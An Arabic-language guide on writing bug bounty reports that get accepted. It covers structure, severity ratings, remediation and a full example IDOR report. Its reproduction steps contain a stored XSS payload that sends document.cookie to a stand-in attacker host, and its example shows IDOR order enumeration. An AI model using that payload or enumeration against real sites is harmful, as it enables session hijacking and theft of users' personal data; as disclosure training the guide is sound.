كيف تكتب تقرير Bug Bounty احترافي يُقبل من أول مرة

أغلب التقارير المرفوضة لا تُرفض بسبب ضعف الثغرة — بل بسبب ضعف التوثيق. تقرير Bug Bounty الجيد هو نصف المعركة.

الفريق الأمني للشركة يتلقى عشرات التقارير يوميًا. تقريرك يجب أن يجيب على ثلاثة أسئلة في أقل من دقيقة: ما المشكلة؟ كيف تُكرّرها؟ ما التأثير الحقيقي؟

---

البنية الأساسية لأي تقرير

1. العنوان (Title)

العنوان يجب أن يكون وصفيًا ودقيقًا:

✅ جيد: Stored XSS in /comments endpoint allows execution of arbitrary JavaScript
❌ سيئ: XSS Found
❌ سيئ: Critical vulnerability in your website

صيغة العنوان المثالية:

[نوع الثغرة] in [النقطة المتأثرة] leads to [التأثير]

2. ملخص الثغرة (Summary)

فقرة واحدة أو اثنتان تشرح:

• ما هي الثغرة بالضبط
• أين وُجدت
• ما الذي يمكن للمهاجم فعله

مثال:

A Stored Cross-Site Scripting (XSS) vulnerability exists in the comment 
submission endpoint at POST /api/comments. An authenticated attacker can 
inject arbitrary JavaScript that executes in the browser of any user who 
views the affected page, enabling session hijacking, credential theft, 
or malicious redirects.

3. التأثير (Impact)

اشرح التأثير الفعلي على المستخدم أو الشركة:

• بيانات مَن يمكن سرقتها؟
• ماذا يمكن للمهاجم أن يفعل؟
• هل هو قابل للاستغلال على نطاق واسع؟

An unauthenticated attacker can steal session cookies of any logged-in 
user who visits /posts, leading to complete account takeover. With 
200,000 monthly active users, the blast radius is significant.

4. خطوات إعادة التكرار (Steps to Reproduce)

هذا أهم جزء في التقرير. يجب أن يكون:

• مرقّمًا بوضوح
• قابلًا للتكرار من أي شخص
• محددًا (روابط، قيم، headers)

1. Log in to https://example.com with any valid account
2. Navigate to https://example.com/posts/1
3. In the comment field, enter the following payload:
   <script>fetch('https://attacker.com?c='+document.cookie)</script>
4. Submit the comment
5. Open the post URL in a new incognito browser session
6. Observe the JavaScript executes and cookies are sent to the attacker server

5. الدليل (Proof of Concept)

أرفق دائمًا:

• Screenshots — مُعلَّمة بأسهم إن أمكن
• فيديو — للثغرات المعقدة التي تحتاج خطوات متعددة
• Burp Suite request/response — للثغرات في الـ API
• كود PoC — إذا كانت الثغرة تحتاج script

6. تصنيف الخطورة (Severity)

استخدم CVSS 3.1 أو وصف واضح:

الخطورة	متى تستخدمه
Critical	RCE، SQLi بيانات كاملة، Authentication Bypass كامل
High	Account Takeover، SSRF، Stored XSS مع أثر واسع
Medium	Reflected XSS، IDOR محدود، Sensitive Data Disclosure
Low	Open Redirect، Missing Security Headers، Self-XSS
Informational	Outdated software، Best practice violations

7. اقتراح الإصلاح (Remediation)

لا تتوقعه لكن أضفه دائمًا — يُظهر فهمك ويضيف قيمة:

Remediation: Implement proper output encoding on all user-supplied input 
before rendering in HTML context. Use DOMPurify on the frontend and 
htmlspecialchars() / Content Security Policy headers on the backend.

---

مثال تقرير كامل: IDOR على API

Title: IDOR in GET /api/v1/orders/{id} exposes any user's order details

Summary:
The orders endpoint fails to verify that the authenticated user owns 
the requested order. By changing the order ID in the URL, any 
authenticated user can access order details (including address, 
payment method last 4 digits, and items) of any other user.

Impact:
Attackers can enumerate order IDs (sequential integers starting from 1) 
and extract PII of all registered users. This affects all 50,000+ orders 
in the system.

Steps to Reproduce:
1. Register two accounts: victim@test.com and attacker@test.com
2. Log in as victim and place an order — note the order ID (e.g., 1337)
3. Log out, log in as attacker
4. Send: GET /api/v1/orders/1337
   Authorization: Bearer <attacker_token>
5. Observe: full order details of the victim's account are returned

Proof of Concept:
[Screenshot: Burp Suite showing attacker's token accessing victim's order]
[Screenshot: Response body containing victim's shipping address and items]

Severity: High

Remediation:
Add server-side authorization check: verify that orders.user_id == 
authenticated_user.id before returning the response.

---

الأخطاء الأكثر شيوعًا في التقارير

خطأ 1: التقرير الغامض "وجدت XSS في موقعكم" بلا خطوات = رفض فوري.

خطأ 2: المبالغة في التصنيف Self-XSS (يؤثر فقط على المستخدم نفسه) ليست High. Clickjacking بلا أثر محدد ليست Critical.

خطأ 3: نسيان سياق المصادقة وضّح: هل الثغرة تحتاج حساب؟ أي نوع؟ (مستخدم عادي / admin؟)

خطأ 4: إرسال ثغرات مكررة قبل الإرسال، ابحث في bugs list إن كان هناك تقرير مشابه.

---

نصائح لرفع معدل القبول

• اختبر PoC مرتين قبل الإرسال — تأكد من أنه يعمل
• أرسل في الصباح حيث يكون الفريق الأمني نشطًا (توقيت أمريكي أو أوروبي)
• راسل بأسلوب احترافي — لا تضغط أو تُلحّ
• اذكر إذا كانت بيانات حقيقية قد تكشّفت (يسرّع الاستجابة)

---

الخلاصة

التقرير الجيد هو توثيق تقني محترف، ليس مجرد وصف ثغرة. اتبع البنية: عنوان واضح، ملخص موجز، خطوات دقيقة، PoC واضح، تأثير حقيقي. التقارير الجيدة تُقبل بسرعة وتبني سمعتك على المنصة.